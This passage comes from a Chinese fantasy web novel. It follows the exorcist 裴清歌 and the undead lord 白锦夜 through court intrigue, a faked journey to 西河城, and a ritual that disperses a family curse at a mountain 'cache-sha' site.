桑榆赶紧摇头,“没有的,肯定没有别人,说话声也只有小姐自己的声音,只不过她说什么我也听不清,可是半夜总是这样,让人瘆得慌。” 左辞被她这么一说,缩了缩肩膀,也有点瘆得慌了,“你确定不是少爷来?” “我之前都没见过少爷。”桑榆说着停了会,又说,“我也知道小姐会些别人不会的本事,之前,我以为少爷死了,还想着……是不是小姐用了什么方法,招了少爷的魂,晚上才会……可你说少爷没死……总之,我敢肯定,她房间里没有别人。” “而且……我感觉小姐好像也知道我发现了什么。”说到这,桑榆的脸色更难看,她抬手抓住左辞的胳膊,“好几次我在忙着的时候,无意间就会看到小姐盯着我,那眼神冷得……都不太像是活人。” 左辞皱了下眉头,白锦夜大概很快就要去西河城,他也不可能留下,“如果我能多呆些日子,还能观察下,但是我估计马上就要离开了。” 桑榆这些话都憋了很久,她也不敢跟别人说,要不是左辞回来,她也只能一直憋下去,听左辞说他又马上要离开,她急得都快哭了。 “不过,我觉得不管发生什么事,少夫人都不会害我们的。”左辞想了想又道,“你要是有什么疑问,也可以跟少夫人,就算不是什么都能告诉我们,但是能说的,她肯定也会说的。” 桑榆也别无他法,只能点点头,还要再说什么,房门就被人打开,她赶紧把自己的手收回来。 左辞也站起身,递给桑榆一个安抚的眼神,走了回去。 白锦夜要回去了,左辞也做好了伪装,跟他一起出了门。 桑榆坐了好一会,才磨蹭着往回走,“小姐,饭菜还热着,我这就去端过来。” 裴清歌点点头,目光在桑榆的身上打量了一眼。 等裴清歌吃完晚饭,桑榆收拾好东西,抬眼看了看二楼,裴清歌的房间里只透着一点点微光,她吸了一口气,才蹑手蹑脚的往房间走。 走到自己的门前,她蓦地觉得脖子后面有一阵冷风,下意识地转头看去,就见到裴清歌不知道什么时候站在了她身后。 桑榆吓得低叫了一声,脸色惨白,半响都没缓过神。 裴清歌盯着她,微微眯了眯眼,“你跟左辞说什么了?” 第208章 那四个多月到底发生了什么事 白锦夜回府去打点,准备连夜出城往西河赶。 左辞看着榆北跟在白锦夜身边,听着他交代盛京的事,心里不由有点吃醋,以前这些事,可都是他去办的,真是风水轮流转。 等都交代完,榆北离开,白锦夜才瞥了左辞一眼,“你那是什么表情?” 左辞勉强地挤出一个笑容,“没想到榆北这小子也还有心细的一天。” 白锦夜抚了抚袖口,“他心细不细你倒是关心,你怎么不关心他老婆孩子都有了?” “少爷,属下这不是……没遇到合适的人么。”左辞说着有点尴尬,赶紧转移话题,“少夫人没有不开心吧?她好像不太想让你去西河城。” “嗯。”白锦夜点了点头,想起裴清歌略显寡淡的神色,微微皱了下眉,“不过也没有不开心。” “哎。”左辞叹了口气,背上行囊,跟着白锦夜一起出了府。 两个人连夜赶了四五十里路,白锦夜突然策马停了下来。 “怎么了?”左辞下意识地四下看了看,以为遇到了什么事。 白锦夜翻身下了马,示意左辞跟他走。 左辞也只好下马,把缰绳搭在马身上,跟着白锦夜摸着黑往树林里面走。 走了好一段,白锦夜才停下来,把脸上的易容面具撕下来,交给左辞,又告诉这面具怎么用。 左辞怔了下,“少爷……那你不去西河城?” “不去。”白锦夜摇了摇头。 左辞反应了半响,看着白锦夜的表情就知道他这个决定不是临时做的,而是一早就想好了,“那你这样回盛京,会被人发现吧?” “你不用管我。”白锦夜说着脱下外衣,跟左辞换了衣服,又把调兵的兵符交给他,“你传我的令,让人调兵支援西河城。如果西河城实在守不住,就退,并州与幽州、雍州和冀州都有交界,其他人不管,也无非就是还想让白风御自己顶着,他真顶不住了,其他人自然就想办法了。” 左辞咬了咬牙,“但是他们若是也不管,那西夜国从并州一直往东,就到盛京了。” “呵。”白锦夜轻笑了一声,“白玉衡还做着他的皇帝梦,怎么可能让西夜国直捣京城?去幽州接管军权的人,都是白玉衡的人,到时候他们联合雍州和冀州,在盛京之外挡住西夜国攻势,他也就可以顺理成章的把并州吞掉。” “是……衡王?”左辞一掌拍在旁边的树上,“他真是为了自己什么都不顾了,这一下要死多少人?” “有了雍州和并州两个重镇的兵权,若是在与西夜国的和谈中取得什么好处,从此他要么做摄政王,要么就要取而代之了。韬光养晦这么多年,终于忍不住了。”白锦夜嗤笑,“行了,赶紧出发吧,路上小心。” 左辞点点头,白锦夜现在把这件事跟他说,也无非是想让他回去转达给白风御,千万别给别人做了嫁衣。 白风御那边以为是皇上见死不救,如今看起来,确实是被人给挡下来了。 恐怕等兵临城下的时候,皇上才会知道这件事,到时候吓得七荤八素的,白玉衡说什么就是什么了。 左辞转身要走,脚步顿了下,又转身问白锦夜,“少爷,那少夫人知道你实际上不去西河城的事么?”他说完又补充,“属下的意思是,冷鸢和楚星玄还在西河城,就算我现在易容,他们应该也能看出来吧?到时候会不会出什么纰漏?” “她不知道。”白锦夜皱了下眉头,“那你回去之后,就机灵点,别让他们知道我还在盛京,他们若是一定要知道,你就说我在外地调兵。” 左辞挠了挠头,白锦夜这件事还要瞒着裴清歌,难道……“少爷,你是不是也发现少夫人不太对劲了?” “嗯?”白锦夜看向他,“怎么说?” “是桑榆跟属下说的,说少夫人不太对劲。”说着左辞又把今天桑榆跟他说的话,全都转达了一遍。 白锦夜眉头慢慢地蹙起,也没对此多说什么,便道,“赶紧出发吧。” “是。”左辞知道这种事他也不可能多问,立刻转身出了树林。 白锦夜这才看向盛京的方向,桑榆那个丫头也发现了么?也是,相比于他偶尔才能见裴清歌一面,桑榆可是每天都跟裴清歌在一起。 只是,以裴清歌的心思,若是真的有什么异常,也不该让他们发现才是。 也或者,透露出来的蛛丝马迹,本来就是她故意想要让他们知道的。 当时在西慈县的时候,裴清歌说了那么多,让他先回京城,她随后再回来。 那会时间紧,他也没想那么多,况且刚从净明师太那里知道有关自己的事情,即便能接受,但是心里也还是乱的。 可是他回了京城之后,裴清歌迟迟没回来,有些事情,想得多了,就开始逐渐的觉得不对劲了。 那时候裴清歌先是以觉得楚星玄有问题,把楚星玄、冷鸢和左辞都支走,之后再把他也支走,只剩下她自己一个人,差不多是四个多月的时间,她一定是有什么事情要去做,并且这件事不能让任何人知道。 她回京城的时候,受那么重的伤,按理说,就算她不知道是谁伤了她,也总该发现些蛛丝马迹,可她什么都没跟他说,只是一句不清楚就把这件事揭过去了。 伤她的人,一定跟她在那四个月里做的事情有关系。 白锦夜轻轻吸了一口气,他知道,在裴清歌的心里,他大概是什么忙都帮不上的,甚至还有可能会拖累她,但是他不能永远让自己处于这样的位置上。 以前的天风国,他以战功就可以成为人上人。 但也仅仅在是普通人之中,可在这个世界上,并不普通的人,大有人在。 他想要留在裴清歌的身边,也就必须得成为那些人中的一部分。 况且,他想要的,也不仅仅是守着她,更希望能保护她。 他一直都知道自己想要的是什么。 第209章 师父 白锦夜身上的冥尸气息被裴清歌盖住了,别人感受不到这气息,但是他不知道裴清歌是不是一样感受不到。 所以回盛京之后,他第一件事就是先去了普宁街。 他已经跟裴清歌说了自己要连夜出发,从她那回去,简单收拾一下就离开了。 这时候他也本应该在路上了,如果裴清歌在附近感受到了他的气息,就会知道他没有离开,起码也应该有点反应。 他在裴清歌的店铺门外站了半响,一直盯着二楼她房间的窗子。 但那里却一点动静都没有。 又过了差不多一盏茶的时间之后,他才转身离开。 等他的身影都消失了,二楼的窗子才打开一个缝隙。 裴清歌眯眼看着白锦夜离开的方向,他并没有去西河城,甚至连易容的面具也没有了。 他若是不想被人发现自己的身份,自然不会摘掉面具。 所以要么是有人带着他的面具,替他去了西河城。 这么做,白锦夜就是故意想让别人以为他离开了盛京。 但这会他回来了,还特意来她这里一趟,是想要做什么? 告诉她他没有离开么? 既然根本没有离开的打算,今晚又跑过来一趟,告诉她他要去西河城是为什么? 还是……他其实只是想要让她以为他离开了盛京? 裴清歌轻轻地敲了敲窗棂,手腕不小心碰到窗子,把窗缝的缝隙开得大了一点,一道月光顺着缝隙照了进来,房间里突然响起一道凄惨的叫声。 那声音极大又刺耳,但是也没有吵醒任何这附近的人。 因为这声音也只有裴清歌一个人能听到而已,她冷笑了一声,关上窗子,转身看着黑暗,声音里带着冰冷和几丝嗜血,“知道自己见得不光,就早点把该说的话说了,我好送你去轮回啊,师父!” * 白锦夜回了府上,刚进门,榆北就迎了上来,“主子,你吩咐的事,都已经安排好了。” “嗯。”白锦夜应了一声,“也不是什么急事,天都快亮了,赶紧回去休息吧,有什么事明天再说。” 榆北挠了挠头,他本来确实是办完事想要直接回去的,但是却碰到有人往府上这边来,他就跟着过来了,结果是一个看起来瘦削的男子,拎着一个哭哭啼啼的女子,男子把人扔在了门口,说这人交给他们主子处置了,说完就走了。 那女子哭了半响,一句话也说不出来。 他问得都心烦了,于是就让人先带下去了,打算等白锦夜回来认不认识这个人,他这也是刚准备走,没想到刚好碰到白锦夜回来。 “主子,两个时辰之前,有人送来了一个姑娘,那姑娘一直哭,也不肯说话。送人来的人说,这姑娘要交给你处置,你看……” 白锦夜皱起眉头,怎么老有人往他旁边送女人? 这不知道又是哪个长了花花心眼的。 他一点都不想管,“别人送了人来你就留下?不能直接打发了?” “呃……”榆北顿了顿,又赶紧补充,“说是以前肃亲王府的下人,所以才会送过来。” 白锦夜这才看了他一眼,刚刚左辞还夸榆北心细,这么一会他就把这最重要的信息放在了最后说,“人在哪呢?” “属下这就去带过来。”榆北说着赶紧下去了。 片刻后,就把人带到了堂上。 白锦夜看着一愣,没想到这人竟然是桑榆! 那显然把她送过来的,就是裴清歌了。 “怎么回事?”白锦夜站起身,看着桑榆,手微微握成拳,“出什么事了么?她怎么样?” 他这会已经没有戴面具了,桑榆看到他,这才是真的确定了左辞的话,王爷没死,王爷还好好的活着,而且就在这盛京之中! 她听了白锦夜的问题,赶紧摇头,“没有,是奴婢,奴婢惹了小姐生气,小姐才把奴婢赶了出来。” 白锦夜眯起眼睛,裴清歌不是轻易跟下人置气的人,她回了盛京之后,就让桑榆回来在身边伺候,证明她多少还是相信桑榆的,又怎么会大半夜的把她给丢出来? 而且若是裴清歌真的生气了赶人,把人直接赶出门外就是,也没必要亲自把人送到他这边来,“到底怎么回事?” 桑榆擦了擦眼泪,“奴婢就是……最近有点害怕,之前也不知道该跟谁说,今天看到左总管,就跟左总管多说了几句话,小姐……小姐嫌奴婢多嘴。” 她说着低下头,刚刚裴清歌的模样,确实把她吓坏了。 她就那么突然出现在她身后,表情阴冷,声音里也没有一点温度。 以前她觉得裴清歌对谁都挺温和的,可没想到她生气的样子,好像比以前的张太妃都吓人。 白锦夜拧着眉,要只是因为这一点事,裴清歌可没必要这么做。 他在堂上走了几圈,停下来看着门外,又隔了半响,才问,“她还说什么了?” “她只是说,奴婢既然觉得以前王府的人好,那就继续去伺候以前王府的人,不要留在她身边。”桑榆说着又赶紧解释,“奴婢真的不是觉得小姐不好,只是……只是以前左总管管着王府里所有的杂事,奴婢们有什么事都会去找他,他都会帮奴婢们解决,这一次……这一次奴婢真是的是憋了很久,若不是左总管,奴婢绝对不会说出来的,奴婢不可能把小姐的事情告诉别人的!” “我知道了。”白锦夜转头看向榆北,“先带着她下去休息吧。” 榆北点点头,也听出来这丫鬟应该是之前照顾王妃的,所以……刚才送她来的那个人,应该就是王妃了? 那王妃的身手还真是不错啊。 等桑榆离开,白锦夜才重新坐下来,那点小事显然不足以让裴清歌发脾气,可她却偏偏在他和左辞离开之后,把桑榆送了过来。 她想要做什么呢? 白锦夜叹了口气,起身往外走。 榆北安顿了桑榆,已经困得不行,打算回家去睡觉的时候,见着白锦夜又出了门,他忍不住打了个哈欠,王爷真是精力旺盛,都不用睡觉的么? 第210章 藏煞地 裴清歌的生活没有什么变化,依旧是上午算卦,下午出城。 而且自从那日萧尺寒跟她出去过一次之后,之后每日都等在城门口,一开始还找借口想办法跟她一起出去,后来干脆连借口也不找了,见她过来就直接跟上,甚至有时候还会去普宁街找她,随后一起出城。 这几日萧尺寒大概也看出来了,裴清歌是想找一处风水好的地方,因此回去之后,也把这件事跟萧公瑾说了。 盛京周围的地形,萧公瑾是最熟悉的,各处风水好地他心里大概都有个数。 当然也有一处是最好的,那一处本来是他本来打算把萧家祖坟迁过来用的,只不过那处在深山之中,路不好走,后辈想要拜祭,去一次很麻烦。 所以他一直在纠结,也就还没有迁坟。 既然知道裴清歌在找风水宝地,他也的确可以趁机把这块地给出去,裴清歌自然会承这个人情。 他把这块地的具体位置告诉了萧尺寒,第二日萧尺寒便引着裴清歌过去了。 裴清歌看着这处地,“前有照,后有靠,玉带缠腰,确实是难得一遇的风水宝地,若是做坟地,是绝佳之选。” 萧尺寒赶紧点头应下来,“是的,这块地你可能用得上?” “用不上。”裴清歌摇了摇头,“我又没什么亲人去世,要这种地干什么?” 萧尺寒神色一赧,看样子自己是会错意了。 “这块地你们家还是留着吧,做祖坟地不错。”裴清歌说着继续往前走。 萧尺寒又跟了上去,“不知道你到底想要找什么样的地方,我爷爷对盛京周围的风水地形多少算是熟悉,你说出来,他也许能给些建议,总比你在这大山上四处瞎转要靠谱得多。” “我要找的地方,叫藏煞地,是能化解煞气的,估摸着他也不见得知道。”裴清歌叹了口气,“这地方本就不好找,不过……” 她说到这,也停了下来,眯眼往前看去。 萧尺寒也顺着她的目光看了过去。 前面不远的地方,有一处洞穴,洞穴不大,但是洞穴周围光秃秃的,寸草不生,只有一些动物的尸骨。 裴清歌看了看那里,又转头看了看刚才那片风水宝地,轻轻笑了笑,“怪不得。” “是那里么?”萧尺寒跟着萧公瑾学过,所以多少也大概看得出来。 “嗯。”裴清歌应了一声,“藏煞地把周围的煞气都吸收化解,才能让旁边那里形成得天独厚的风水宝地,以前的书上虽然没写,不过看来藏煞地和风水宝地应该是相伴而生。” 她说完转身看向萧尺寒,“走吧,回去,你回家顺便告诉你爷爷,我这边已经准备好了。” 萧尺寒当即明白过来,原来这么多天,裴清歌找这处地方,都是为了他们家的事,赶紧抱了抱拳,“裴先生辛苦了。” 裴清歌转头看了他一眼,正要说话,突然停住了脚步,还往后退了一步。 萧尺寒看她停下来,有些不明所以,只能越过她往前看去,便见到前面的路上,蜿蜒着一条蛇,他笑了笑,“听爷爷说,一般风水极佳的宝地,都会有蛇,若是哪家的祖坟地里出了蛇,也是吉兆。” “这倒是。”裴清歌应了声,也还是没动。 萧尺寒侧头看她,“裴先生不是怕蛇吧?” 裴清歌皱了下眉头,“怎么?不可以?” “我把它赶走就是了。”这种蛇是不能打的,所以萧尺寒就从旁边捡了根木棍,想要把蛇赶走。 但是这蛇不仅没走,还朝着萧尺寒吐了吐蛇信,一副挑衅的模样。 萧尺寒皱了下眉头,想要用木棍把蛇直接挑走。 哪知道木棍刚碰到蛇的身体,蛇突然原地蹿起,直直地往裴清歌的方向蹿去。 裴清歌站在他侧后方,蛇从他身侧蹿过的时候,他赶紧抬手抓住了蛇身。 只不过裴清歌看到蛇蹿起的那一瞬间,还是吓得往后退了好几步,脚下一滑,就往山坡下面滚去。 萧尺寒也顾不上那么多,随手把蛇甩出去,就去拉裴清歌。 他拽住裴清歌的手腕,可还是没能抵消她往下倒的力道,于是也往前倒了下去。 山坡其实不陡,裴清歌只不过是被吓了一下,就算摔倒,滚几下也就停下来了,不过萧尺寒也跟着扑过来,不仅多滚了几下,还被他压在身上,裴清歌脸都青了。 倒下去的那瞬间,萧尺寒也觉得有什么不对了。 停下来之后,他迅速的起了身,坐在地上往后退了退,有些诧异地看着裴清歌,“你……你……” 裴清歌捂着胸口站起身,拧眉盯着萧尺寒,“我什么我?你敢说出去,你们萧家的事,我就再也不管了。” 萧尺寒赶紧站起来,涨红了一张脸,又咽了口口水,“我……我不知道,抱歉,我不是故意的,我只是想拉住你,没想到……” 裴清歌没理他,转身继续往山下走。 “裴先……裴姑娘。”萧尺寒追过去,“你放心,我肯定不会跟别人说的。” “那就注意你的称呼。”裴清歌看了他一眼。 萧尺寒点了点头,抿着唇,一下子就不知道该再说什么了。 之前他跟着裴清歌一起出来,总还能天南海北地闲聊几句,他觉得要是能有这么个好兄弟也不错,可突然他心里的好兄弟成了个姑娘,他从小也没有和姑娘家单独相处过,瞬间就连话题都找不到了。 于是这一次他把裴清歌送到普宁街连句话都没说就匆匆地跑开了。 榆北站在门口,看着萧尺寒仓促跑开的背影,微微皱了下眉,这才恭敬地走过去,“先生,这是我家主子之前交代过的,这份名单查好后,给你送过来。” 裴清歌把名单接过来,名字倒不多,只有八个,“好。”她点点头,又状似无意地问道,“他还说什么了?” 榆北想了想,摇了摇头,“没有,主子没有什么其他交代的了,只说这段时间,若是先生来找我,那先生交代的事,一定要妥善办理。” “知道了。”裴清歌说完收起名单往店里走,走了两步,又像是刚刚想起什么,转身看向榆北,“他有没有说什么时候回来?” “这……”原来王妃还不知道王爷没有去西河城的事,榆北也不敢多说,“这种事主子没有说过。” 裴清歌只是笑了笑,“那等他回来,你告诉他来找我一趟。” 第211章 修习术法,不能一蹴而就 榆北回去,也就把这话原封不动地转达给了白锦夜。 白锦夜微微眯了眯眼,没说话。 “主子,她会不会是有什么事找你?”榆北小心翼翼地问道。 白锦夜摇了摇头。 “不过萧公子看着也怪怪的,脸红的跟什么似的,跟裴先生一起到了门口,连话都没说,就赶紧跑了。”榆北毕竟是过来人,有些话不能直说,只能委婉的提醒,“看起来,有点像是害羞。” 白锦夜这才抬眼看向他,“你是说,这些天,裴先生每日出城,萧尺寒都跟着一起去?” 榆北点点头,觉得王爷应该是明白他的意思了。 “知道了。”白锦夜挥了挥手,示意榆北下去,他抬手敲着桌子,半响后才起了身,往普宁街走去。 裴清歌下午不开店的事,大家早就知道了,所以傍晚这会更是没有人来。 门是虚掩着的,白锦夜抬手敲了敲门,便走了进去。 裴清歌正靠在一楼的贵妃椅上看书,见白锦夜走进来,只是随意地抬眼看了下,目光又重新落回书上。 白锦夜转手把门关上,才走到贵妃椅边坐下,抬手把她手里的书拿过来,放到了一边。 裴清歌只能看他,“你就这么光明正大的在外面走,已经不怕被人发现了?” “盛京之中,认识我的人本来就不多,小心一些,不会有人认出我。”白锦夜说完没再说话,但是等了半天,也不见裴清歌再说什么,只好自己开口,“你跟榆北说,让我来找你,我来了,你怎么又什么都不说?” 裴清歌笑着看着他,笑容里带着几丝深意,“我本来以为你在西河城,要回来也起码十天半个月的,谁知道你这么快就过来了。” 白锦夜轻轻叹了口气,“抱歉,这件事瞒了你。” “你有你自己要做的事,没必要什么事都跟我说。”裴清歌开口道,她说着抬起手。 白锦夜以为她要碰自己的眉心,下意识地往旁边躲了一下。 裴清歌的手停在半空中,嘴角的笑容也收了回去,“你以为我要干什么?” 白锦夜怔了一下,这才发现她手的高度,应该也就是停在他的脸旁边,他抬手握住她的手,把她的掌心贴在自己的脸上,隔了会才说,“最近有些事……我不想让你知道,但我不会伤害你,等过段时间吧。” 裴清歌已经没了再跟他说话的兴致,把手抽了回来,“你有事要做,就去忙吧,我没什么要紧的事。” 白锦夜见她说完这句话,就闭上了眼睛,他又坐了会,没再说话,起身往外走。 “修习术法,不能一蹴而就。”裴清歌在他的背后冷冷地开了口,“若是一个不小心走上邪途,我是不会念什么情分的。” 白锦夜的脚步停下来,转头看了看裴清歌,她依旧闭着眼睛,脸上也没什么多余的表情,只是轻轻地叹了一口气,打开门离开了。 听到门被关上,裴清歌才睁开眼睛,白锦夜去而复返,偷偷回到盛京,是为了修习术法。 他身上的气息已经不太对劲了。 是谁教了他术法? * 晚上,白锦夜入睡后,进了自己的梦境之中。 以往他睡觉的时候,在这梦里,也不过就是一个人百无聊赖的坐着。 但是此刻,他的手上却多了一本书。 他一只手拿着书,另外一只手跟着书上说的慢慢地捏着印诀,随着每一个印诀出来,梦境里就会有些细微的变化。 有的时候是空气大概扭曲了一下。 有的时候是某个灰蒙蒙的地方突然变得透明起来。 但因为他还是不太熟练,所以这些细微的变化只能存在片刻。 等到看到一个复杂的印诀的时候,他正仔细琢磨着,突然感觉到哪里不太对劲,一下子就睁开了眼睛。 眼睛虽然睁开,但是身体却依旧不能动。 很像是在琼华庵被裴清歌控制的那个时候。 他转动眼睛,向旁边看去,如今他完全可以在黑暗中视物,所以也就见到桌旁有个人影,正在翻看他放在桌子上的书。 房间里很安静,就只有她翻动书页轻微的声音。 半响,翻书的声音停了下来,白锦夜也就赶紧重新闭上眼睛。 裴清歌放下书,走到床边,看着躺在床上的白锦夜。 白锦夜微微有点慌,如果他不是冥尸,倒也可以坦然的装睡,可他现在是冥尸,大概又是在裴清歌的控制之下,他实在不知道自己这个时候是该醒来还是继续装睡。 裴清歌站了半响,才叹了口气,“也不知道让你把张府买下来,住在这里,是对还是错。” 白锦夜知道,她既然看了那书,就也知道了那书是张明彻留下来的,这些年都埋在府上很隐蔽的角落里。 这房子净明师太当时以极低的价格卖出去,但是买家并没有搬进来住,大概始终觉得这里曾经夭折过不少孩童不太吉利,所以也就没人发现张明彻留下来的这东西。 这本书,应该也是当年张明彻的家人给他带在身上的,是只有他们“神冥公”一脉才能修习的术法。 在平时是没什么用的,但是在梦里,却能控制开冥路,也能控制可以让哪些人走。 他没有告诉裴清歌,是因为这书的内容不太完整,有很多批注的地方都需要看其他的书,但是张明彻出来的时候,只带了这一本书,其他那些他也一样是不清楚的。所以张明彻在书上写下,因为有些地方没能融会贯通,导致好像出了什么差错。 但具体是什么差错,他也没写,只是写到这的时候,字迹已经开始潦草,后面也就没再继续往下写。 可白锦夜也还记得当时看守长明灯那个老和尚的话,他只有见过鬼门关,才知道怎么能把裴清歌彻底的从鬼门关里拉回来。 他不知道自己能不能成功,如果不能的话,提前跟裴清歌说了,也不过是空欢喜。 他本来是打算等着多少见一些成效的时候再告诉她。 所以他到底还是没什么能瞒过裴清歌的。 第212章 你这是准备去嫁给山神? 裴清歌又在床边站了会,便转身离开了。 等她走了差不多一盏茶的时间,白锦夜才恢复对身体的控制权,他抬起手动了动,从床上坐起来,整个人也没了睡意,就这么一直坐到了天亮。 两日后,萧公瑾亲自带着萧尺寒来了普宁街,一是把查到的名单交给裴清歌,另外也是商量一下进宫的事情。 萧公瑾前些日子跟皇上进言,说这宫中多年未修葺,很多地方已经呈破败之势,在风水上来说,房屋破败也会影响主人的运势,所以建议工部对宫中进行一次完善的修葺。 他说的委婉,但是白砺寒却往心里去了,这些日子,关于子嗣一事,不断有人上书,他烦都要烦死了。听萧公瑾这么一说,他就开始怀疑自己没有子嗣是不是因为这宫中太过破败了。 一开始他也没觉得宫里哪些地方破旧,但是萧公瑾进言之后,他看着这宫里,就觉得哪哪都不对。 于是就召了萧公瑾和工部尚书,让他们商议下,看看如何修葺。 宫中全面修葺的话,也是个大事,工部尚书紧张得不得了,又听说这件事是萧公瑾提议的,于是处处都要征求他的意见。 这当然符合萧公瑾的预期,也就只有这样,他才能把裴清歌安插进来。 “如果裴先生不想暴露身份,我想那就以匠人的身份入宫,是最好的。”萧公瑾开口道,“到时我会向工部尚书引荐一批匠人,这样也方便裴先生行事。” 裴清歌点点头,“可以,不过在这之前,先把你家里的劫煞蜮解决了吧。” 萧公瑾怔了一下,“先解决它会不会影响什么?若是影响了裴先生,那后面……” “我自有办法。”裴清歌摆了摆手打断他的话。 萧公瑾沉默了会,“本来我是打算这件事让寒儿负责,到时那些匠人会都听寒儿的话,裴先生若是有什么吩咐,直接跟寒儿说,他也好安排。在外人看来,都是他安排的,也不会牵扯到裴先生。若是先解决了劫煞蜮,那寒儿是不是就要去寺里了?” 裴清歌抬眼看了萧尺寒一眼。 萧尺寒本来只是坐在一边,听着他们两个说话,见裴清歌看过来,目光交汇时,蓦地想起那天的事情,脸一下子就红了。他赶紧别开眼,低头看着茶杯。 “刑克六亲也并非是瞬间的事,我写了些符咒,你让家人都佩戴在身上,保你们年内无事。萧公子若是有什么安排的,也可在这段时间完成,之后再去寺里无妨。”裴清歌开口道。 “那就多谢裴先生了。”萧公瑾站起身,对着裴清歌抱了抱拳,“那解决劫煞蜮一事,不知道我们需要准备什么?” 裴清歌拿出两沓符咒,指着其中一沓开口道,“这些你让家人佩戴在身上,不可沾水弄湿。明日一早,让萧公子一个人带着用红布包好的劫煞蜮来找我,他出门之后,就把另外这些,贴在门窗上。在他没回家之前,任何人都不要离开萧府。” “这……就让他一个人来?”萧公瑾转头看了看萧尺寒,又看向裴清歌,“我们什么都不用做么?” “嗯。”裴清歌点点头,“煞气一散,你们萧家人首当其冲,你们贴好符咒待在府上,就算是帮忙了。” “那寒儿会不会有危险?”萧公瑾又问。 这一次裴清歌没有说话。 萧公瑾叹了口气,裴清歌之前说过,这煞气是从萧尺寒身上来的,散去煞气的时候,对萧尺寒自然是有伤害的,“那就都仰仗裴先生了。”说完,他收起符咒,带着萧尺寒离开了。 走到门口,萧尺寒的脚步停了停,像是有话想说,但犹豫了下,还是随萧公瑾一起离开了。 * 第二天一早,萧尺寒就抱着劫煞蜮到了普宁街,他小心翼翼的,像是生怕一个不小心把劫煞蜮掉在地上摔坏了。 裴清歌跟他一起出了城往藏煞地走。 进了山,走到一片茂密的树林的时候,裴清歌的脚步突然停了下来,“你在这等会,不要跟过来。” 萧尺寒想问她要干什么去,可话还没说出来,就见她已经闪身进了树林,他也只好站在原地等她。 裴清歌走出去十几丈的距离,便见到从他们出门开始就一直跟着他们的白锦夜,她微微皱起眉头,“你来干什么?” 白锦夜看了一眼萧尺寒的方向,“你跟他孤男寡女的,总是往山里跑,我不放心。” “不放心?”裴清歌轻笑一声,“你不放心什么?” 白锦夜没说话,往前走了几步,停在裴清歌的面前,“榆北说,之前你们两个总是一起出城,我就想来看看,你们两个来干什么?” “你这是打算捉奸?”裴清歌挑了挑眉。 “我只是怕你跟萧家越走越近,最后把我卖给萧忆翎。”白锦夜微微抿了抿唇。 裴清歌看着他半响,最后才道,“你娶萧忆翎,我嫁给萧尺寒,要是这么说好像也挺好。” “你敢!”白锦夜皱着眉,“裴清歌,你想都不要想。” 裴清歌本来也是逗他,眼下还要去解决劫煞蜮,也没多少时间耽搁,“那你就一起来看看。”她说着从怀里拿出一张面具,递给白锦夜。 跟之前给他的一模一样,本来是备用的,没想到这个时候派上了用场。 白锦夜戴好面具,才跟着裴清歌一起出了树林。 看到白锦夜来,萧尺寒也有点诧异,“楚兄,你也来了?” “有他在,也许能帮帮忙。”裴清歌开口道,这话她也不是乱说,冥尸不怕煞气,说不定确实能帮忙。 这一下萧尺寒整个人都放松了不少,之前只有他和裴清歌,他怎么都觉得别扭,现在多了一个人,他也总算不用那么尴尬了。 于是便跟白锦夜并肩走着,“楚兄,好些日子没看到你了,你最近很忙?” 白锦夜没有回答他的问题,只是瞥了一眼他怀里抱着的用红布包着的东西,“你抱着这么喜庆的东西,是去准备嫁给山神?” 第213章 我就是……想你了 到了藏煞地,裴清歌把自己背过来的包裹打开,拿出来一件写满符咒的衣服和一个同样写符咒的帷帽,递给萧尺寒,让他穿上戴好,不要有皮肤露在外面。 昨天回到府里,萧公瑾就已经把劫煞蜮的事,原原本本都跟萧家人说了。 萧尺寒今日来,自然是裴清歌说什么,他就照做什么,于是赶紧把衣服穿好。 裴清歌又把旁边的草地清理出来一块,画了一个阵法,让萧尺寒把劫煞蜮放在一边,走到阵法里面。 然后她走到藏煞地的洞口,画了一个阵法,随后退了回来,打开红布包,拿起劫煞蜮,往前走了两步,又想起了什么,她抬手把劫煞蜮交给白锦夜,“你把这个放到阵法中间,然后把坛子上的符咒都撕开,之后赶紧退回来。” 白锦夜虽然伸手接过了坛子,但是一下子就想起了当时在皇宫里的噬婴蜮,他沉默了会,才问,“这不是什么恶心的东西吧?” 裴清歌笑了笑,“放心,只是符咒,没有什么尸油,放好赶紧回来。” 白锦夜点点头,把坛子放了过去,撕开符咒,就迅速的退回到了裴清歌的身边。 片刻之后,那玉坛就开始震动起来,没一会就炸裂开,一团黑气腾空而起,随即迅速的朝萧尺寒冲过来。 那黑气遇到萧尺寒周围的阵法,发出噼里啪啦的声音,甚至像是爆出了些火花,但是黑气太多,还是有大部分冲过了阵法,重重地击在萧尺寒的身上。 若是没有他身上穿的写满符咒的衣服,这黑气也就进了他的身体,但是因为那衣服挡住了黑气,于是就像是一记重拳打在了萧尺寒的胸口。 他被打得后退了几步,一只脚出了阵法的范围。 裴清歌赶紧伸手把他拉回来,她虽然动作快,但是还是有几丝煞气顺着她的手钻了进去,她拧了拧眉收回手,迅速的咬破另外一只手的手指,用血在手腕处画了一圈。 那几丝煞气缠绕在她的手上,顿时皮肤青紫,可却没办法突破手腕上的血圈。 她抿了抿唇,转头看向白锦夜,“看着他,别让他出了这个阵法,你不怕这煞气,没事的。” 白锦夜看了看她的手,眉头拧在一起,点了点头。 又有几次,萧尺寒都险些被黑气推出阵法,好在白锦夜及时出手,把他都拉了回来。 那些黑气绕了许久,因为没办法进入萧尺寒的身体,再也承受不住藏煞地的引力,于是慢慢的全都被藏煞地吸了回去。 藏煞地周围一圈的花草树木迅速的萎靡,寸草不生的范围又扩大了不少。 裴清歌这才微微松了一口气。 “你的手要怎么处理?”白锦夜开口问道。 若不是刚才她碰到萧尺寒,这煞气也不可能进入她的身体,现在藏煞地要消化那么大团的煞气,这几丝煞气就显得可有可无,不然也会被藏煞地吸走。 虽然她也可以自己慢慢化解,但眼下确实也有更好更快的办法。 她把自己的手指割破,从她指尖流出的血都有些发暗,她把手指递向白锦夜,“你帮我吸走,不过你可能会难受一阵子。” 白锦夜想也没想,就抓住她的手,薄唇含住她的手指。 萧尺寒站在阵法之内,虽然带着帷帽,但也能看到他们两个人的动作,裴清歌是个女子的事,不知道白锦夜是不是知道,但是这样的动作……未免暧昧了,他看得脸红心跳,想别开眼不再看,但心里又微微的有点不舒服,甚至希望帮裴清歌的那个人不是白锦夜,而是自己。 而且裴清歌是为了帮他化解煞气才受伤,那也确实应该是他帮忙才对啊。 他轻咳了一声,忍不住开口问,“我还要站在这里么?有什么需要我帮忙的么?” “没有。”裴清歌抬眼看向他,“你先站在那不要动,那些煞气还没有完全被藏煞地控制,你出来它们还是会找你的。” “好吧。”萧尺寒声音里带着一丝丝不甘,又问,“你没事吧?” 